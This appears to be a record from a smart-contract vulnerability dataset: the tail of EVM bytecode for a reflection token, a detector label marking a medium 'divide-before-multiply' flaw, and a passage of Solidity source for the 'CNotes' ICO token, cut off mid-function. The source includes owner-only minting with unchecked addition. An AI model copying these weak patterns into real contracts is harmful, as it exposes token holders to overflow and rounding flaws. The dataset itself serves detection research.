ffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806006546105e09190613698565b600681905550826007546105f491906135b7565b600781905550505050565b60606008805461060e90613754565b80601f016020809104026020016040519081016040528092919081815260200182805461063a90613754565b80156106875780601f1061065c57610100808354040283529160200191610687565b820191906000526020600020905b81548152906001019060200180831161066a57829003601f168201915b5050505050905090565b60006106a561069e611803565b8484611863565b6001905092915050565b6000600754905090565b6000670de0b6b3a7640000905090565b60006106d6848484611a2e565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071f611803565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561079c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079390613485565b60405180910390fd5b61083c846107a8611803565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f2611803565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108379190613698565b611863565b600190509392505050565b600060065482111561088e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610885906133c5565b60405180910390fd5b6000610898611f06565b905080836108a6919061360d565b915050919050565b6000600a60009054906101000a900460ff16905090565b60006109676108d2611803565b8484600360006108e0611803565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461096291906135b7565b611863565b6001905092915050565b6000670de0b6b3a76400008311156109be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b590613445565b60405180910390fd5b816109dd5760006109ce8461180b565b505050509050809150506109f3565b60006109e88461180b565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610a9457600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610adf565b610adc600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610847565b90505b919050565b610aec611803565b73ffffffffffffffffffffffffffffffffffffffff16610b0a610c24565b73ffffffffffffffffffffffffffffffffffffffff1614610b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b57906134a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610c5c90613754565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8890613754565b8015610cd55780601f10610caa57610100808354040283529160200191610cd5565b820191906000526020600020905b815481529060010190602001808311610cb857829003601f168201915b5050505050905090565b600060036000610ced611803565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9e90613545565b60405180910390fd5b610e47610db2611803565b848460036000610dc0611803565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e429190613698565b611863565b6001905092915050565b6000610e65610e5e611803565b8484611a2e565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ecd611803565b73ffffffffffffffffffffffffffffffffffffffff16610eeb610c24565b73ffffffffffffffffffffffffffffffffffffffff1614610f41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f38906134a5565b60405180910390fd5b606481670de0b6b3a7640000610f57919061363e565b610f61919061360d565b600b8190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ff9611803565b73ffffffffffffffffffffffffffffffffffffffff16611017610c24565b73ffffffffffffffffffffffffffffffffffffffff161461106d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611064906134a5565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f190613425565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111ce5761118a600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610847565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611294611803565b73ffffffffffffffffffffffffffffffffffffffff166112b2610c24565b73ffffffffffffffffffffffffffffffffffffffff1614611308576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ff906134a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611378576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136f906133e5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61143d611803565b73ffffffffffffffffffffffffffffffffffffffff1661145b610c24565b73ffffffffffffffffffffffffffffffffffffffff16146114b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a8906134a5565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661153d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153490613425565b60405180910390fd5b60005b6005805490508110156117ff578173ffffffffffffffffffffffffffffffffffffffff166005828154811061159e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117ec57600560016005805490506115f99190613698565b81548110611630577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660058281548110611695577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060058054806117b2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556117ff565b80806117f790613786565b915050611540565b5050565b600033905090565b600080600080600080600061181f88611f2a565b91509150600061182d611f06565b9050600080600061183f8c8686611f67565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ca90613505565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611943576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193a90613405565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a219190613565565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906134e5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b05906133a5565b60405180910390fd5b60008111611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b48906134c5565b60405180910390fd5b611b59610c24565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bc75750611b97610c24565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c1257600b54811115611c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0890613465565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611cb55750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611cca57611cc5838383611fb0565b611f01565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d6d5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d8257611d7d8383836121ee565b611f00565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e265750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e3b57611e3683838361242c565b611eff565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611edd5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ef257611eed8383836125dc565b611efe565b611efd83838361242c565b5b5b5b5b505050565b6000806000611f136128a8565b915091508082611f23919061360d565b9250505090565b60008060006002606485611f3e919061360d565b611f48919061363e565b905060008185611f589190613698565b90508082935093505050915091565b6000806000808487611f79919061363e565b905060008587611f89919061363e565b905060008183611f999190613698565b905082818395509550955050505093509350939050565b6000806000806000611fc18661180b565b9450945094509450945085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120169190613698565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a49190613698565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213291906135b7565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061217f8382612bf6565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121dc9190613565565b60405180910390a35050505050505050565b60008060008060006121ff8661180b565b9450945094509450945084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122549190613698565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122e291906135b7565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237091906135b7565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123bd8382612bf6565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161241a9190613565565b60405180910390a35050505050505050565b600080600080600061243d8661180b565b9450945094509450945084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124929190613698565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252091906135b7565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256d8382612bf6565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125ca9190613565565b60405180910390a35050505050505050565b60008060008060006125ed8661180b565b9450945094509450945085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126429190613698565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d09190613698565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275e91906135b7565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ec91906135b7565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128398382612bf6565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128969190613565565b60405180910390a35050505050505050565b600080600060065490506000670de0b6b3a7640000905060005b600580549050811015612bb45782600160006005848154811061290e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612a2257508160026000600584815481106129ba577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612a3f57600654670de0b6b3a764000094509450505050612bf2565b6001600060058381548110612a7d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612aee9190613698565b92506002600060058381548110612b2e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612b9f9190613698565b91508080612bac90613786565b9150506128c2565b50670de0b6b3a7640000600654612bcb919061360d565b821015612be957600654670de0b6b3a7640000935093505050612bf2565b81819350935050505b9091565b81600654612c049190613698565b60068190555080600754612c1891906135b7565b6007819055505050565b600081359050612c318161386d565b92915050565b600081359050612c4681613884565b92915050565b600081359050612c5b8161389b565b92915050565b600060208284031215612c7357600080fd5b6000612c8184828501612c22565b91505092915050565b60008060408385031215612c9d57600080fd5b6000612cab85828601612c22565b9250506020612cbc85828601612c22565b9150509250929050565b600080600060608486031215612cdb57600080fd5b6000612ce986828701612c22565b9350506020612cfa86828701612c22565b9250506040612d0b86828701612c4c565b9150509250925092565b60008060408385031215612d2857600080fd5b6000612d3685828601612c22565b9250506020612d4785828601612c4c565b9150509250929050565b600060208284031215612d6357600080fd5b6000612d7184828501612c4c565b91505092915050565b60008060408385031215612d8d57600080fd5b6000612d9b85828601612c4c565b9250506020612dac85828601612c37565b9150509250929050565b612dbf816136cc565b82525050565b612dce816136de565b82525050565b6000612ddf8261359b565b612de981856135a6565b9350612df9818560208601613721565b612e028161385c565b840191505092915050565b6000612e1a6023836135a6565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612e80602a836135a6565b91507f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008301527f65666c656374696f6e73000000000000000000000000000000000000000000006020830152604082019050919050565b6000612ee66026836135a6565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612f4c6022836135a6565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612fb2601b836135a6565b91507f4163636f756e7420697320616c7265616479206578636c7564656400000000006000830152602082019050919050565b6000612ff2601f836135a6565b91507f416d6f756e74206d757374206265206c657373207468616e20737570706c79006000830152602082019050919050565b60006130326028836135a6565b91507f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008301527f78416d6f756e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b60006130986028836135a6565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006130fe6020836135a6565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061313e6029836135a6565b91507f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008301527f7468616e207a65726f00000000000000000000000000000000000000000000006020830152604082019050919050565b60006131a46025836135a6565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061320a6024836135a6565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613270602c836135a6565b91507f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008301527f6869732066756e6374696f6e00000000000000000000000000000000000000006020830152604082019050919050565b60006132d66025836135a6565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6133388161370a565b82525050565b61334781613714565b82525050565b60006020820190506133626000830184612db6565b92915050565b600060208201905061337d6000830184612dc5565b92915050565b6000602082019050818103600083015261339d8184612dd4565b905092915050565b600060208201905081810360008301526133be81612e0d565b9050919050565b600060208201905081810360008301526133de81612e73565b9050919050565b600060208201905081810360008301526133fe81612ed9565b9050919050565b6000602082019050818103600083015261341e81612f3f565b9050919050565b6000602082019050818103600083015261343e81612fa5565b9050919050565b6000602082019050818103600083015261345e81612fe5565b9050919050565b6000602082019050818103600083015261347e81613025565b9050919050565b6000602082019050818103600083015261349e8161308b565b9050919050565b600060208201905081810360008301526134be816130f1565b9050919050565b600060208201905081810360008301526134de81613131565b9050919050565b600060208201905081810360008301526134fe81613197565b9050919050565b6000602082019050818103600083015261351e816131fd565b9050919050565b6000602082019050818103600083015261353e81613263565b9050919050565b6000602082019050818103600083015261355e816132c9565b9050919050565b600060208201905061357a600083018461332f565b92915050565b6000602082019050613595600083018461333e565b92915050565b600081519050919050565b600082825260208201905092915050565b60006135c28261370a565b91506135cd8361370a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613602576136016137cf565b5b828201905092915050565b60006136188261370a565b91506136238361370a565b925082613633576136326137fe565b5b828204905092915050565b60006136498261370a565b91506136548361370a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561368d5761368c6137cf565b5b828202905092915050565b60006136a38261370a565b91506136ae8361370a565b9250828210156136c1576136c06137cf565b5b828203905092915050565b60006136d7826136ea565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561373f578082015181840152602081019050613724565b8381111561374e576000848401525b50505050565b6000600282049050600182168061376c57607f821691505b602082108114156137805761377f61382d565b5b50919050565b60006137918261370a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156137c4576137c36137cf565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b613876816136cc565b811461388157600080fd5b50565b61388d816136de565b811461389857600080fd5b50565b6138a48161370a565b81146138af57600080fd5b5056fea264697066735822122084fb45db9b155387a1aab1bb416eae12cddb8536bedf801accb1198e80e469c464736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,741 |
0x07551a0625c9cc7306dfe3569d818562c6780c4a
|
pragma solidity ^0.4.11;
/**
* @author Jefferson Davis
* CNotes_ICO.sol creates the client's token for crowdsale and allows for subsequent token sales and minting of tokens
* In addition, there is a quarterly dividend payout triggered by the owner, plus creates a transaction record prior to payout
* Crowdsale contracts edited from original contract code at https://www.ethereum.org/crowdsale#crowdfund-your-idea
* Additional crowdsale contracts, functions, libraries from OpenZeppelin
* at https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts/token
* Token contract edited from original contract code at https://www.ethereum.org/token
* ERC20 interface and certain token functions adapted from https://github.com/ConsenSys/Tokens
**/
contract ERC20 {
//Sets events and functions for ERC20 token
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Transfer(address indexed _from, address indexed _to, uint _value);
function allowance(address _owner, address _spender) constant returns (uint remaining);
function approve(address _spender, uint _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
}
contract Owned {
//Public variable
address public owner;
//Sets contract creator as the owner
function Owned() {
owner = msg.sender;
}
//Sets onlyOwner modifier for specified functions
modifier onlyOwner {
require(msg.sender == owner);
_;
}
//Allows for transfer of contract ownership
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
}
contract CNotes is ERC20, Owned {
//Applies SafeMath library to uint256 operations
using SafeMath for uint256;
//Public variables
string public name;
string public symbol;
uint256 public decimals;
uint256 public initialSupply;
uint256 public totalSupply;
//Variables
uint256 multiplier;
//Creates arrays for balances
mapping (address => uint256) balance;
mapping (address => mapping (address => uint256)) allowed;
//Creates modifier to prevent short address attack
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) revert();
_;
}
//Constructor
function CNotes(string tokenName, string tokenSymbol, uint8 decimalUnits, uint256 decimalMultiplier, uint256 initialAmount) {
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
multiplier = decimalMultiplier;
initialSupply = initialAmount;
totalSupply = initialSupply;
}
//Provides the remaining balance of approved tokens from function approve
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
//Allows for a certain amount of tokens to be spent on behalf of the account owner
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
//Returns the account balance
function balanceOf(address _owner) constant returns (uint256 remainingBalance) {
return balance[_owner];
}
//Allows contract owner to mint new tokens, prevents numerical overflow
function mintToken(address target, uint256 mintedAmount) onlyOwner returns (bool success) {
require(mintedAmount > 0);
uint256 addTokens = mintedAmount;
balance[target] += addTokens;
totalSupply += addTokens;
Transfer(0, target, addTokens);
return true;
}
//Sends tokens from sender's account
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool success) {
if ((balance[msg.sender] >= _value) && (balance[_to] + _value > balance[_to])) {
balance[msg.sender] -= _value;
balance[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
//Transfers tokens from an approved account
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool success) {
if ((balance[_from] >= _value) && (allowed[_from][msg.sender] >= _value) && (balance[_to] + _value > balance[_to])) {
balance[_to] += _value;
balance[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
}
contract CNotesICO is Owned, CNotes {
//Applies SafeMath library to uint256 operations
using SafeMath for uint256;
//Public Variables
address public multiSigWallet;
uint256 public amountRaised;
uint256 public dividendPayment;
uint256 public numberOfRecordEntries;
uint256 public numberOfTokenHolders;
uint256 public startTime;
uint256 public stopTime;
uint256 public hardcap;
uint256 public price;
//Variables
address[] recordTokenHolders;
address[] tokenHolders;
bool crowdsaleClosed = true;
mapping (address => uint256) recordBalance;
mapping (address => uint256) recordTokenHolderID;
mapping (address => uint256) tokenHolderID;
string tokenName = "CNotes";
string tokenSymbol = "CNOTES";
uint256 initialTokens = 20000000000000000;
uint256 multiplier = 10000000000;
uint8 decimalUnits = 8;
//Initializes the token
function CNotesICO()
CNotes(tokenName, tokenSymbol, decimalUnits, multiplier, initialTokens) {
balance[msg.sender] = initialTokens;
Transfer(0, msg.sender, initialTokens);
multiSigWallet = msg.sender;
hardcap = 20100000000000000;
setPrice(20);
dividendPayment = 50000000000000;
recordTokenHolders.length = 2;
tokenHolders.length = 2;
tokenHolders[1] = msg.sender;
numberOfTokenHolders++;
}
//Fallback function creates tokens and sends to investor when crowdsale is open
function () payable {
require((!crowdsaleClosed)
&& (now < stopTime)
&& (totalSupply.add(msg.value.mul(getPrice()).mul(multiplier).div(1 ether)) <= hardcap));
address recipient = msg.sender;
amountRaised = amountRaised.add(msg.value.div(1 ether));
uint256 tokens = msg.value.mul(getPrice()).mul(multiplier).div(1 ether);
totalSupply = totalSupply.add(tokens);
balance[recipient] = balance[recipient].add(tokens);
require(multiSigWallet.send(msg.value));
Transfer(0, recipient, tokens);
if (tokenHolderID[recipient] == 0) {
addTokenHolder(recipient);
}
}
//Adds an address to the recorrdEntry list
function addRecordEntry(address account) internal {
if (recordTokenHolderID[account] == 0) {
recordTokenHolderID[account] = recordTokenHolders.length;
recordTokenHolders.length++;
recordTokenHolders[recordTokenHolders.length.sub(1)] = account;
numberOfRecordEntries++;
}
}
//Adds an address to the tokenHolders list
function addTokenHolder(address account) returns (bool success) {
bool status = false;
if (balance[account] != 0) {
tokenHolderID[account] = tokenHolders.length;
tokenHolders.length++;
